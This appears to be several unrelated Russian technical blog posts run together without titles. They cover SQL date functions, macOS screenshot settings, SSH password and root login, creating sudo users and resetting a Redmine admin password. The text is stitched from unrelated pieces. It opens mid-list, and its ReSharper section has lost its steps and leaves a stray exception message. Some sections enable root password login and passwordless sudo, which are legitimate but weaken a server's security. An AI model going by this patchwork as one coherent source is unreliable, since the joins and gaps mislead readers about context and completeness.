• Дыры в нумерации — норма: откаченные транзакции и перезапуски сервера пропускают значения. В SQL Server 2017 и новее кеш, из-за которого номера прыгают после перезапуска, выключается командой ALTER DATABASE SCOPED CONFIGURATION SET IDENTITY_CACHE = OFF;. Но если нужны номера без пропусков, храните их в отдельном столбце.

SELECT DATEADD(day,    -1, GETDATE());  -- сейчас минус 1 день
SELECT DATEADD(month,  -1, GETDATE());  -- сейчас минус 1 месяц
SELECT DATEADD(year,   -1, GETDATE());  -- сейчас минус 1 год
SELECT DATEADD(minute, -30, GETDATE()); -- сейчас минус 30 минут

Синтаксис: DATEADD(datepart, number, date) (документация Microsoft). С положительным числом дата сдвигается вперёд: DATEADD(month, 5, GETDATE()) — дата через пять месяцев.

Разницу между двумя датами считает DATEDIFF(day, @from, @to): это число дней между ними. Функция считает переходы через границу периода, а не полные периоды, поэтому DATEDIFF(year, '20251231', '20260101') вернёт 1, хотя прошёл один день.

Вчерашняя дата без времени

GETDATE() возвращает дату вместе со временем. Чтобы получить вчерашнюю дату, сначала приведите значение к date:

-- сегодня, без времени
SELECT CAST(GETDATE() AS date);

-- вчера
SELECT DATEADD(day, -1, CAST(GETDATE() AS date));

-- вчера, SQL Server 2025
SELECT DATEADD(day, -1, CURRENT_DATE);

С SQL Server 2025 в T-SQL есть функция CURRENT_DATE: она делает то же, что CAST(GETDATE() AS date), и возвращает date (документация Microsoft). Есть она и в Azure SQL Database, и в Azure SQL Managed Instance. В SQL Server 2022 и более ранних версиях её нет: 2022 отвечает ошибкой «Incorrect syntax near the keyword 'CURRENT_DATE'».

DATEADD возвращает тот же тип, что получил: datetime для GETDATE(), date для date. Строку SQL Server читает как datetime, поэтому пишите её в формате 'yyyymmdd': если язык сеанса русский, немецкий или британский, '2026-11-03' превратится в 11 марта.

GETDATE минус 1 день в WHERE

Записи за последние 24 часа:

SELECT * FROM Orders
WHERE CreatedAt >= DATEADD(day, -1, GETDATE());

Записи за вчера, с полуночи до полуночи:

SELECT * FROM Orders
WHERE CreatedAt >= DATEADD(day, -1, CAST(GETDATE() AS date))
  AND CreatedAt <  CAST(GETDATE() AS date);

Столбец не оборачивайте в функции, арифметику держите по другую сторону от знака сравнения. Я сравнил планы на SQL Server 2022 с индексом по CreatedAt: такой диапазон даёт Index Seek, а DATEDIFF(day, CreatedAt, GETDATE()) = 1 и CONVERT(varchar, CreatedAt, 120) читают индекс целиком. CAST(CreatedAt AS date) = ... — исключение, с ним SQL Server тоже ищет по индексу. Но полуоткрытый интервал >= начало AND < конец одинаково работает в любой СУБД.

С переменной DECLARE @today date индекс может не сработать: оптимизатор строит план, не зная её значения, и считает, что под условие попадёт фиксированная доля таблицы. В моём тесте SELECT * с переменной прочитал весь кластерный индекс. Если переменная нужна, допишите OPTION (RECOMPILE).

Не закрывайте день условием BETWEEN ... AND '23:59:59.999': при сравнении с datetime строка '23:59:59.999' округлится до следующей полуночи, и в выборку попадут строки ровно на 00:00:00 сегодняшнего дня.

Текущая дата минус год или месяц

-- тот же день год назад
SELECT DATEADD(year, -1, CAST(GETDATE() AS date));

SELECT DATEADD(month, -1, '20260331'); -- 2026-02-28 00:00:00.000
SELECT DATEADD(year, -1, '20280229');  -- 2027-02-28 00:00:00.000

Если такого числа в нужном месяце нет, DATEADD вернёт последний день месяца.

В SQL Server 2022 появилась функция DATETRUNC, она считает начало месяца:

-- начало этого месяца
SELECT DATETRUNC(month, GETDATE());

-- начало прошлого месяца
SELECT DATEADD(month, -1, DATETRUNC(month, GETDATE()));

-- последний день прошлого месяца
SELECT EOMONTH(GETDATE(), -1);

В старых версиях берите связку DATEADD и DATEDIFF из поста про начало месяца в MS SQL.

GETDATE, SYSDATETIME или CURRENT_TIMESTAMP

• CURRENT_TIMESTAMP — ANSI-имя для GETDATE(): тот же datetime с точностью около 3 мс. Текущий timestamp минус день — DATEADD(day, -1, CURRENT_TIMESTAMP).
• SYSDATETIME() возвращает datetime2(7), у секунд в нём семь знаков после запятой.
• GETUTCDATE() и SYSUTCDATETIME() возвращают время в UTC. Azure SQL Database по умолчанию работает в UTC, поэтому там и GETDATE() вернёт UTC.

Значения datepart

• year (yy, yyyy) — год
• quarter (qq, q) — квартал
• month (mm, m) — месяц
• dayofyear (dy, y) — день года
• day (dd, d) — день
• week (wk, ww) — неделя
• weekday (dw, w) — день недели
• hour (hh) — час
• minute (mi, n) — минута
• second (ss, s) — секунда
• millisecond (ms) — миллисекунда
• microsecond (mcs) — микросекунда
• nanosecond (ns) — наносекунда

В DATEADD значения dayofyear, day и weekday одинаково прибавляют дни. microsecond и nanosecond не работают с datetime, а значит и с GETDATE().

Текущая дата минус день в PostgreSQL, MySQL, SQLite и Oracle

Запросы для PostgreSQL 16, MySQL 8.4 и SQLite 3.51 я прогнал сам, Oracle сверил с документацией.

PostgreSQL

SELECT CURRENT_DATE - 1;                  -- сегодня минус день
SELECT now() - interval '1 day';          -- сейчас минус сутки
SELECT CURRENT_DATE - interval '1 month'; -- сегодня минус месяц

Дата минус интервал даёт timestamp: CURRENT_DATE - INTERVAL '1 day' — это вчерашняя полночь. Нужна дата — допишите ::date.

MySQL

SELECT DATE_SUB(CURDATE(), INTERVAL 1 DAY);   -- сегодня минус день
SELECT NOW() - INTERVAL 1 DAY;                -- сейчас минус сутки
SELECT DATE_SUB(CURDATE(), INTERVAL 1 MONTH); -- сегодня минус месяц

Не пишите CURDATE() - 1: MySQL превратит дату в число, и 1 ноября получится 20261100.

SQLite

SELECT date('now', '-1 day');     -- сегодня минус день
SELECT datetime('now', '-1 day'); -- сейчас минус сутки
SELECT date('now', '-1 month');   -- сегодня минус месяц

'now' — это UTC, для местного времени добавьте 'localtime'. date('2026-03-31', '-1 month') вернёт 2026-03-03. С версии 3.46 добавьте последним аргументом 'floor' и получите 2026-02-28.

Oracle

SELECT TRUNC(SYSDATE) - 1 FROM dual;             -- сегодня минус день
SELECT SYSDATE - 1 FROM dual;                    -- сейчас минус сутки
SELECT ADD_MONTHS(TRUNC(SYSDATE), -1) FROM dual; -- сегодня минус месяц

Число здесь означает дни, поэтому SYSDATE - 1/24 — час назад. Год назад — ADD_MONTHS(SYSDATE, -12). SYSDATE - INTERVAL '1' MONTH 31 марта упадёт с ошибкой: 31 февраля не бывает.

Где ошибаются в T-SQL

• GETDATE() - 1 работает с datetime, а SYSDATETIME() - 1 падает с ошибкой «Operand type clash: datetime2 is incompatible with int». Берите DATEADD.
• CURRENT_DATE - 1 работает в PostgreSQL, но в T-SQL к date нельзя прибавить число: SQL Server 2025 выдаст ошибку «Operand type clash: date is incompatible with int». Пишите DATEADD(day, -1, CURRENT_DATE).
• m — это месяц, а не минута. Минута — mi или n.
• datepart нельзя передать в переменной: DATEADD(@part, -1, GETDATE()) падает с ошибкой «Invalid parameter 1 specified for dateadd». Варианты перебирайте в CASE.

Установить Resharper Code Quality Analysis

Добавьте в определение сборки проекта ещё один шаг — после шага сборки:

Затем заполните «Path to .sln or .csproj file». Путь есть в логе шага сборки. Обычно это «YourProjectName» + .sln или «YourProjectName\YourProjectName» + .sln

System.Management.Automation.MethodInvocationException: Exception calling “GetFullPath” with “1” argument(s): “Illegal characters in path.” —> System.ArgumentException: Illegal characters in path.

Поставьте «Fail build severity» в «Error», если сборка должна падать только при критичных проблемах.

То же через Терминал, в любой версии macOS:

mkdir -p ~/Screenshots
defaults write com.apple.screencapture location ~/Screenshots
killall SystemUIServer

Вместо ~/Screenshots подставьте свою папку. Названия пунктов меню — по macOS Tahoe 26.1.

Как сменить папку через Shift-Command-5

1. Нажмите Shift-Command-5. Откроется панель «Снимок экрана».
2. Нажмите Параметры.
3. В разделе Место сохранения выберите «Рабочий стол» или «Документы». Для своей папки нажмите Другое расположение…: в этом же окне можно создать новую.
4. Закройте панель клавишей Esc.

Выбор сохраняется, пока вы его не поменяете. Остальные пункты — «Буфер обмена», «Почта», «Сообщения» и «Просмотр» — отправляют снимок в буфер или в приложение, а не в папку.

Если сочетание клавиш у вас занято, откройте «Снимок экрана» из папки «Программы» → «Утилиты». В macOS High Sierra 10.13 и более ранних версиях этого приложения нет, там подойдёт только Терминал.

Как изменить папку для скриншотов через Терминал

Сначала создайте папку, потом укажите её системе. Чтобы не ошибиться в пути, наберите команду с пробелом в конце и перетащите папку из Finder в окно Терминала. Полный путь появится в командной строке. Нажмите Return.

defaults write com.apple.screencapture location ~/Documents/Screenshots

При перетаскивании Терминал сам экранирует пробелы, кавычки не нужны. Если набираете путь вручную и в нём есть пробелы, возьмите его в кавычки. Внутри кавычек шелл не раскрывает ~, поэтому пишите $HOME:

defaults write com.apple.screencapture location "$HOME/Pictures/Screen shots"

Потом примените настройку:

killall SystemUIServer

SystemUIServer обрабатывает сочетания клавиш для скриншотов. macOS сразу запускает его заново, уже с новыми настройками. Программы при этом не закрываются.

Оба способа меняют одну и ту же настройку — location в com.apple.screencapture, поэтому действует последнее заданное значение. Папку macOS не учитывает, если в разделе Место сохранения выбран буфер обмена или приложение. Что с этим делать — в «Частых ошибках» ниже. Текущее значение показывает команда:

defaults read com.apple.screencapture location

Ответ The domain/default pair of (com.apple.screencapture, location) does not exist значит, что папку не меняли и это по-прежнему рабочий стол.

Как вернуть скриншоты на рабочий стол

Удалите настройку, и macOS вернётся к папке по умолчанию — рабочему столу:

defaults delete com.apple.screencapture location
killall SystemUIServer

Можно и явно задать путь к рабочему столу:

defaults write com.apple.screencapture location ~/Desktop
killall SystemUIServer

Без Терминала: Shift-Command-5, Параметры, Место сохранения, Рабочий стол.

Как скопировать скриншот в буфер обмена вместо файла

Добавьте Control к обычному сочетанию: Control-Shift-Command-3 снимает весь экран, Control-Shift-Command-4 — выбранную область. Файл не создаётся, картинку вставляете через Command-V. Чтобы снимки всегда шли в буфер, выберите Буфер обмена в разделе Место сохранения.

Скриншота ещё нет в папке

После снимка в правом нижнем углу на несколько секунд появляется миниатюра. Файл сохраняется, когда она исчезнет. Чтобы сохранить сразу, смахните миниатюру вправо. Если она мешает, снимите флажок «Отображать плавающую миниатюру» в Параметрах или выполните:

defaults write com.apple.screencapture show-thumbnail -bool false

Формат, тень и имя файла

Эти ключи лежат в том же com.apple.screencapture.

Формат. По умолчанию PNG, ещё подходят jpg, heic, pdf и tiff:

defaults write com.apple.screencapture type jpg

Убрать тень вокруг окна, которое снимаете через Shift-Command-4 и пробел:

defaults write com.apple.screencapture disable-shadow -bool true

Имя файла начинается со слов «Снимок экрана» (в английской системе Screenshot), дальше идут дата и время. Префикс можно заменить, а дату убрать. Тогда файлы нумеруются: Shot.png, Shot 1.png.

defaults write com.apple.screencapture name "Shot"
defaults write com.apple.screencapture include-date -bool false

После этих команд тоже нужен killall SystemUIServer. Чтобы вернуть настройку по умолчанию, удалите её ключ, например defaults delete com.apple.screencapture type.

Частые ошибки

• Пропустили слово location: defaults write com.apple.screencapture ~/Screenshots выдаёт Rep argument is not a dictionary и Defaults have not been changed. Сначала ключ, потом путь.
• После команды в Терминале скриншоты всё равно попадают в буфер или открываются в приложении. Значит, в разделе Место сохранения выбран «Буфер обмена», «Почта», «Сообщения» или «Просмотр», а команда с location этот выбор не меняет. Выберите папку в Параметрах или выполните defaults write com.apple.screencapture target file и затем killall SystemUIServer.
• Папку удалили, переименовали, или она лежит на отключённом диске. Скриншоты перестают сохраняться. Если macOS не может записать файл в папку, она пишет, что у вас нет прав сохранять файлы туда, где хранятся снимки экрана. Создайте папку заново, выберите другую или верните рабочий стол.
• Ищете файл, пока на экране висит миниатюра. Он появится через несколько секунд.

Другие мои настройки для нового Mac: Настройка чистого MacBook.

Есть таблица:

Id | Login | IsActive | Created
1  | test1 | 1        | 2016-01-01
2  | test1 | 0        | 2015-05-21
3  | test2 | 0        | 2016-07-03
4  | test2 | 0        | 2017-01-22

Нужна одна строка на логин — та, где логин активен. Если активной строки нет, беру созданную последней. Здесь это строки 1 и 4.

Задачу решает такой скрипт:

with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM cte where [r] = 1

rank() over сортирует строки в нужном порядке и записывает номер в столбец [r]. Затем я беру первую строку каждой группы: SELECT * FROM cte where [r] = 1.

Чтобы использовать это в join, поставьте блок "with" сверху:

with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM Employees emp
LEFT JOIN (SELECT * FROM cte where [r] = 1) u on emp.[Login]=u.[Login]

echo 'PasswordAuthentication yes' | sudo tee /etc/ssh/sshd_config.d/00-password.conf
sudo sshd -T | grep -i passwordauthentication
sudo systemctl restart ssh

Вторая должна вывести passwordauthentication yes. В Ubuntu 24.04 вместо этого может появиться Missing privilege separation directory: /run/sshd: выполните sudo systemctl start ssh и повторите проверку. В Fedora, RHEL и AlmaLinux служба называется sshd: sudo systemctl restart sshd. Теперь подключитесь со своего компьютера:

ssh alice@server

Не закрывайте текущую сессию, пока вход по паролю не заработает. Если новый конфиг сломан, через эту сессию вы его почините.

Я проверил всё на Ubuntu 24.04 и 26.04, Debian 12 и 13: входил по паролю с другого хоста.

Почему PasswordAuthentication yes в sshd_config не работает

В 2017 году я советовал здесь поправить /etc/ssh/sshd_config. На облачном сервере это часто ничего не меняет. В начале этого файла в Ubuntu, Debian, Fedora и RHEL 9+ стоит строка:

Include /etc/ssh/sshd_config.d/*.conf

В RHEL 8 и CentOS 7 нет ни этой строки, ни каталога sshd_config.d: первая команда из начала статьи выдаст No such file or directory. Пропишите PasswordAuthentication yes прямо в /etc/ssh/sshd_config.

Для каждой опции sshd берёт первое найденное значение (sshd_config(5)). Файлы из sshd_config.d он читает раньше основного, по алфавиту. Если в одном из них написано no, правка в sshd_config не сработает. В облачных образах это обычно 50-cloud-init.conf: его пишет cloud-init по настройке ssh_pwauth. Мой файл называется 00-password.conf, чтобы оказаться в списке первым.

Кто задаёт опцию, покажет команда:

sudo sh -c 'grep -i passwordauthentication /etc/ssh/sshd_config.d/*.conf /etc/ssh/sshd_config'

Действует первая строка без #, и no можно заменить на yes в ней же. sshd читает только файлы с расширением .conf: файл 00-password он пропустит.

Без sh -c шаблон *.conf раскрывает ваша оболочка, ещё до sudo. В Fedora и RHEL 9+ содержимое sshd_config.d видит только root, поэтому grep выдаст No such file or directory и покажет один основной файл.

sshd -T показывает новое значение ещё до перезапуска. Запущенный sshd работает со старым, пока его не перезапустят.

Как подключиться по SSH с паролем

На своём компьютере:

ssh alice@server

Вместо alice подставьте своего пользователя на сервере, вместо server — IP-адрес или домен сервера. При первом подключении ssh покажет отпечаток ключа сервера: ответьте yes. Потом он спросит пароль. Символы при вводе не отображаются.

Если на компьютере есть SSH-ключи, ssh сначала пробует их. Чтобы сразу перейти к паролю:

ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no alice@server

Перезапуск SSH в Ubuntu 24.04: ssh, а не sshd

С версии 22.10 Ubuntu запускает sshd через сокет: порт 22 слушает systemd (ssh.socket), а ssh.service стартует при первом подключении. В 24.04 из-за этого:

• sudo systemctl restart sshd падает с ошибкой Unit sshd.service not found. В Ubuntu 26.04 и Debian работают оба имени.
• sudo systemctl reload ssh отвечает ssh.service is not active, cannot reload, если после загрузки ещё никто не подключался. restart работает в обоих случаях.
• sudo sshd -t и sudo sshd -T по той же причине пишут Missing privilege separation directory: /run/sshd: systemd создаёт этот каталог, когда запускает ssh.service, и удаляет, когда служба останавливается. Выполните sudo systemctl start ssh и повторите.

Если меняете Port или ListenAddress, нужны ещё sudo systemctl daemon-reload и sudo systemctl restart ssh.socket. Так написано в README.Debian пакета.

Перед перезапуском запускайте sudo sshd -t. Если конфиг в порядке, команда ничего не выводит, иначе называет файл и строку с ошибкой. С опечаткой перезапуск не пройдёт и сервер перестанет принимать новые подключения, но открытые сессии останутся.

Как разрешить вход под root по паролю

Для root одного PasswordAuthentication yes мало. По умолчанию стоит PermitRootLogin prohibit-password: root входит только по ключу, а на верный пароль сервер отвечает Permission denied, please try again. В выводе sshd -T это значение может называться по-старому, without-password. Разрешаем вход:

echo 'PasswordAuthentication yes' | sudo tee /etc/ssh/sshd_config.d/00-password.conf
echo 'PermitRootLogin yes' | sudo tee /etc/ssh/sshd_config.d/00-root.conf
sudo passwd root
sudo systemctl restart ssh

Первая команда та же, что в начале статьи. Без неё сработает no из 50-cloud-init.conf, и root получит Permission denied (publickey).

В Ubuntu у root нет рабочего пароля сразу после установки, поэтому passwd обязателен. Безопаснее завести обычного пользователя с sudo: как создать администратора.

Пароль только для одного пользователя или сети

Чтобы пускать по паролю только одного пользователя или только из домашней сети, добавьте в конец /etc/ssh/sshd_config:

Match User alice
    PasswordAuthentication yes

Match Address 192.168.1.0/24
    PasswordAuthentication yes

Блок Match действует до следующего Match или до конца файла. Его значения перебивают глобальные, в том числе no из 50-cloud-init.conf. Что получит конкретное подключение, покажет команда:

sudo sshd -T -C user=alice,host=laptop,addr=203.0.113.5 | grep -i passwordauthentication

Пароль верный, а войти не получается

• У пользователя нет пароля. Пользователя по умолчанию, например ubuntu, cloud-init создаёт с заблокированным входом по паролю. Задайте пароль: sudo passwd ubuntu.
• Too many authentication failures. ssh-agent сначала предлагает серверу все ключи, и после шести неудач сервер рвёт соединение. Отключите ключи опцией -o PubkeyAuthentication=no, как в разделе «Как подключиться по SSH с паролем» выше.
• Permission denied (publickey) без запроса пароля. Сервер не принимает пароли, проверьте sshd -T. Какие способы входа он предлагает, покажет ssh -o BatchMode=yes alice@server: если в скобках есть password, пароли включены.

Нужен ли KbdInteractiveAuthentication

Для входа по паролю не нужен: хватит PasswordAuthentication yes, а в Ubuntu и Debian по умолчанию стоит KbdInteractiveAuthentication no. Эта опция важна, когда пароли выключаете. При UsePAM yes (так в конфиге Ubuntu и Debian) KbdInteractiveAuthentication yes всё равно спросит пароль через PAM, поэтому выключайте обе. В старых конфигах, например в 50-redhat.conf на AlmaLinux, у неё прежнее имя: ChallengeResponseAuthentication.

Можно ли записать пароль в ~/.ssh/config

Нет, такой опции у клиента нет: на Password ssh ответит Bad configuration option: password. Пока вход по паролю открыт, скопируйте на сервер ключ:

ssh-copy-id alice@server

Ключа ещё нет? Его создаст ssh-keygen -t ed25519 (подробнее про SSH-ключи на Mac). Если скрипт не может войти по ключу, sshpass -e возьмёт пароль из переменной SSHPASS:

SSHPASS="$SERVER_PASSWORD" sshpass -e ssh -o StrictHostKeyChecking=accept-new alice@server

accept-new сохраняет ключ сервера, к которому ssh ещё не подключался. Без этой опции первое подключение остановится на вопросе о ключе хоста, и sshpass молча завершится с кодом 6.

Защита от перебора: fail2ban

Пароль можно подобрать. Ставьте длинный и включите fail2ban:

sudo apt install fail2ban
sudo fail2ban-client status sshd

В Ubuntu 24.04, 26.04 и Debian 13 jail sshd работает сразу после установки: после пяти неудачных попыток за 10 минут IP блокируется на 10 минут. В Debian 12 fail2ban не запускается: Have not found any log file for sshd jail. Debian 12 не ставит rsyslog, и файла /var/log/auth.log нет. Переключите fail2ban на журнал systemd и nftables, как в Debian 13:

printf '[DEFAULT]\nbanaction = nftables\nbanaction_allports = nftables[type=allports]\nbackend = systemd\n' | sudo tee /etc/fail2ban/jail.local
sudo systemctl restart fail2ban

Когда ключ уже на сервере, выключите пароли: впишите PasswordAuthentication no и KbdInteractiveAuthentication no в 00-password.conf и перезапустите ssh.

sudo adduser alice
sudo usermod -aG sudo alice

Вместо alice подставьте нужное имя. В Ubuntu (24.04 и 26.04 LTS) и Debian этого хватит: /etc/sudoers даёт группе sudo все права root. В Fedora, RHEL, CentOS, Rocky и AlmaLinux группа называется wheel.

Я проверил все команды на Ubuntu 24.04 и 26.04, Debian 12 и 13, Fedora 45, AlmaLinux 9 и 10.

Что спрашивает adduser

adduser создаёт группу и домашнюю директорию пользователя, ставит шелл /bin/bash и спрашивает:

• пароль, два раза;
• Full Name, Room Number, Work Phone, Home Phone, Other — каждое поле можно пропустить по Enter;
• Is the information correct? [Y/n] — Enter.

Вместо usermod можно написать sudo adduser alice sudo: сначала пользователь, потом группа.

Как создать администратора без вопросов

В скриптах удобнее useradd. Без -m он не создаст домашнюю директорию, а шелл по умолчанию в Ubuntu — /bin/sh. Поэтому оба флага пишем явно:

sudo useradd -m -s /bin/bash -G sudo alice
sudo passwd alice

passwd спрашивает пароль в терминале. В скрипте берите chpasswd, а пароль держите в переменной, чтобы его не было в тексте скрипта и в списке процессов:

printf '%s:%s\n' alice "$ALICE_PASSWORD" | sudo chpasswd

Именно printf, а не echo: в /bin/sh на Ubuntu и Debian echo портит обратные слэши в пароле.

Для аккаунта, который будет входить только по SSH-ключу:

sudo adduser --disabled-password --gecos "" alice
sudo usermod -aG sudo alice

Пароля у такого пользователя нет, а sudo его спросит. Задайте пароль командой sudo passwd alice или настройте sudo без пароля (ниже).

Как проверить, что у пользователя есть sudo

groups alice
sudo -l -U alice

В выводе groups должна быть группа sudo (в Fedora и RHEL — wheel), а в выводе sudo -l -U — строка (ALL : ALL) ALL (в Fedora и RHEL — (ALL) ALL). Для обычного пользователя будет User alice is not allowed to run sudo. Последняя проверка — войти под alice и запустить команду через sudo:

su - alice
sudo whoami   # выведет root

«alice is not in the sudoers file»: нужно перелогиниться

В классическом sudo (Ubuntu 24.04, Debian, Fedora, RHEL) новые группы подхватываются только при входе в систему. Если у alice уже открыта сессия, usermod её не изменит: groups внутри сессии покажет старый список, а sudo ответит alice is not in the sudoers file. Пусть выйдет и зайдёт заново или переподключится по SSH. Команда groups alice читает /etc/group и показывает sudo сразу, поэтому по ней проблему не видно.

В Ubuntu 26.04 по умолчанию стоит sudo-rs. Он читает /etc/group при каждом вызове, так что в открытой сессии права появляются сразу. Пользователю без прав он отвечает I'm sorry alice. I'm afraid I can't do that.

Debian: если sudo не установлен

Те же команды и та же группа sudo. Подвох в установщике: если задать пароль root, он не ставит sudo и не добавляет вашего пользователя в группу. Исправляем из-под root:

su -
apt install sudo
usermod -aG sudo alice

Пишите su - с дефисом. Обычный su в Debian оставляет ваш PATH без /usr/sbin, и вы получите usermod: command not found.

Fedora, RHEL, CentOS: группа wheel

sudo useradd alice
sudo passwd alice
sudo usermod -aG wheel alice

Здесь adduser — ссылка на useradd. Он ничего не спрашивает и оставляет аккаунт без пароля, так что passwd не пропускайте. Домашнюю директорию он создаёт сам, шелл по умолчанию — /bin/bash.

sudo без пароля

Правило кладём в /etc/sudoers.d, но сначала проверяем синтаксис:

t=$(mktemp)
echo 'alice ALL=(ALL) NOPASSWD:ALL' > "$t"
sudo visudo -cf "$t" && sudo install -m 0440 "$t" /etc/sudoers.d/alice
rm "$t"

visudo -cf выведет parsed OK или покажет, где ошибка. mktemp создаёт файл, в который можете писать только вы. Файл с постоянным именем вроде /tmp/alice может заранее создать другой пользователь, и вы установите его правило. Точку в имени файла не ставьте: sudo пропускает файлы в /etc/sudoers.d, в имени которых есть . или которые кончаются на ~. Файл alice.conf молча не сработает. Если правите руками, открывайте через sudo visudo -f /etc/sudoers.d/alice: файл с ошибкой он не сохранит.

SSH-ключ для нового пользователя

Со своего компьютера, если сервер пускает по паролю (как это включить):

ssh-copy-id alice@server

Ключа ещё нет? Его создаст ssh-keygen -t ed25519 (подробнее про SSH-ключи на Mac).

Если у alice нет пароля, ssh-copy-id не залогинится. Тогда добавьте ключ на сервере из-под администратора:

sudo mkdir -p /home/alice/.ssh
echo 'ssh-ed25519 AAAA... you@laptop' | sudo tee -a /home/alice/.ssh/authorized_keys
sudo chown -R alice:alice /home/alice/.ssh
sudo chmod 700 /home/alice/.ssh
sudo chmod 600 /home/alice/.ssh/authorized_keys

Если у .ssh или authorized_keys есть права на запись для всех (например, 777 или 666), sshd проигнорирует ключ и ответит Permission denied.

Как забрать права администратора

sudo gpasswd -d alice sudo     # в Fedora и RHEL — wheel
sudo rm /etc/sudoers.d/alice   # если создавали этот файл

В классическом sudo уже открытые сессии alice сохраняют sudo, пока она не выйдет из системы. sudo pkill -KILL -u alice завершит их вместе со всеми её процессами. В Ubuntu 26.04 (sudo-rs) права пропадают сразу.

В Ubuntu и Debian то же делает sudo deluser alice sudo. Удалить аккаунт вместе с домашней директорией: sudo deluser --remove-home alice в Ubuntu и Debian, sudo userdel -r alice в любой из этих систем.

Частые ошибки

• usermod -G sudo alice без -a заменит все дополнительные группы alice одной sudo. Пишите -aG.
• Для root-шелла хватит sudo -i. sudo su из версии этого поста 2017 года делает то же самое двумя программами вместо одной.
• В /etc/sudoers в Ubuntu есть ещё строка %admin, но группы admin по умолчанию нет. Используйте sudo.

Если забыли пароль админа, зайдите на сервер в папку Redmine (ту, где лежит config/database.yml) и выполните:

cd /path/to/redmine
RAILS_ENV=production bundle exec rails runner '
  u = User.find_by_login("admin")
  u.password = u.password_confirmation = "NewPass-2026!"
  u.admin = true
  u.status = User::STATUS_ACTIVE
  u.save!
  puts "#{u.login}: password changed, admin=#{u.admin}"
'

Команда задаёт новый пароль, выдаёт права администратора и снимает блокировку. Чтобы сделать админом другого пользователя, подставьте его логин вместо admin. Хеш Redmine считает сам, в базу руками лезть не нужно. Я проверил команду на Redmine 5.1, 6.1 и 7.0 и на образе Bitnami с 6.0.

Логин и пароль Redmine по умолчанию

• Архив с redmine.org и официальный Docker-образ redmine: admin / admin.
• Bitnami на виртуалке или в облаке: логин user, пароль лежит в /home/bitnami/bitnami_credentials, откройте его через sudo cat. В AWS Lightsail: cat $HOME/bitnami_application_password.
• Docker-образ Bitnami: user / bitnami1 в старых образах на Debian: раньше это был bitnami/redmine, теперь bitnamilegacy/redmine. В Bitnami Secure Images логин по умолчанию тоже user, а пароль — тот, что вы задали в REDMINE_PASSWORD.

Если пароль по умолчанию не подходит, его уже кто-то сменил. Сбросьте его командой выше.

То же через консоль Rails

Так удобнее, если сначала хотите осмотреться:

cd /path/to/redmine
RAILS_ENV=production bundle exec rails console

# кто сейчас админы
User.where(admin: true).pluck(:login)

u = User.find_by_login("admin")
u.password = u.password_confirmation = "NewPass-2026!"
u.admin = true
u.status = User::STATUS_ACTIVE
u.save!

# вернёт пользователя, если пароль подходит
User.try_to_login("admin", "NewPass-2026!")

Выйти из консоли — exit.

Как выдать права администратора в Redmine

Если можете войти под другим админом, откройте «Администрирование → Пользователи», нажмите на логин нужного пользователя, отметьте «Администратор» и нажмите «Сохранить».

Если войти под админом некому, выполните на сервере команду из начала статьи с логином этого пользователя вместо admin. Если rails runner не запускается, выдайте права прямо в базе. Запрос работает в MySQL и PostgreSQL, подставьте свой логин вместо ivanov:

UPDATE users SET admin = true WHERE login = 'ivanov';

Как подключиться к базе, написано ниже, в разделе про SQL.

Сброс пароля в Bitnami Redmine

В нынешних виртуалках и облачных образах Bitnami Redmine лежит в /opt/bitnami/redmine, а админ там — user, не admin:

cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rails runner 'u = User.find_by_login("user"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

В старых сборках приложение лежит в apps/redmine/htdocs внутри папки стека, и Ruby у стека свой. У меня в 2017 году стояла такая, с Redmine 3.x. Сначала загрузите окружение стека, потом выполните ту же команду:

# у инсталлятора это /opt/redmine-<версия>
cd /opt/bitnami
./use_redmine
cd apps/redmine/htdocs

Подробнее о старой структуре папок Bitnami — в постах об установке и настройке Bitnami Redmine и о плагинах.

Redmine в Docker

В официальном образе redmine рабочая папка и RAILS_ENV=production уже заданы. Для контейнера с именем redmine:

docker exec redmine bundle exec rails runner 'u = User.find_by_login("admin"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

В образе Bitnami приложение лежит в /opt/bitnami/redmine:

docker exec -w /opt/bitnami/redmine redmine bundle exec rails runner -e production 'u = User.find_by_login("user"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

После команды образ Bitnami печатает справку по rails new. Это шум от его бинстаба bin/rails, пароль к этому моменту уже сохранён. Менять переменную REDMINE_PASSWORD бесполезно: образ читает её только при первом запуске.

Сброс пароля Redmine через SQL

Запасной вариант, если Ruby на сервере сломан и rails runner не запускается. Имя базы, пользователя и пароль возьмите из config/database.yml, секция production:

mysql -u redmine -p redmine            # MySQL или MariaDB
psql -U redmine -h localhost redmine   # PostgreSQL

Так это выглядело на моём сервере Bitnami, база называлась bitnami_redmine:

Найдите учётку. В таблице users лежат ещё группы и анонимный пользователь, отсюда фильтр по type. В status 1 — активен, 2 — зарегистрирован, 3 — заблокирован:

SELECT id, login, admin, status FROM users WHERE type = 'User';

Поставьте пароль password, разблокируйте учётку и включите обязательную смену пароля при следующем входе:

UPDATE users
SET hashed_password = '353e8061f2befecb6818ba0c034c632fb0bcae1b',
    salt = '',
    status = 1,
    must_change_passwd = true
WHERE login = 'admin';

Запрос работает в MySQL и PostgreSQL без правок. Чтобы выдать права админа другому пользователю, добавьте в SET строку admin = true, а в WHERE подставьте его логин.

Почему пароль — «password»

Redmine сравнивает hashed_password с SHA1(salt + SHA1(password)), см. check_password? в app/models/user.rb. С пустой солью выходит SHA1(SHA1(password)), а 353e8061… — это ровно SHA1(SHA1("password")). Когда вы смените пароль в интерфейсе, Redmine создаст новую случайную соль.

Свой пароль MySQL и MariaDB захешируют прямо в запросе:

UPDATE users
SET hashed_password = SHA1(SHA1('My-own-Pass_2026')), salt = '', status = 1
WHERE login = 'admin';

В PostgreSQL встроенной SHA1 нет. Посчитайте хеш в терминале и вставьте его в UPDATE. На macOS вместо sha1sum пишите shasum:

printf '%s' 'My-own-Pass_2026' | sha1sum | cut -c1-40 | tr -d '\n' | sha1sum | cut -c1-40

Забыли пароль от Redmine, а доступа к серверу нет

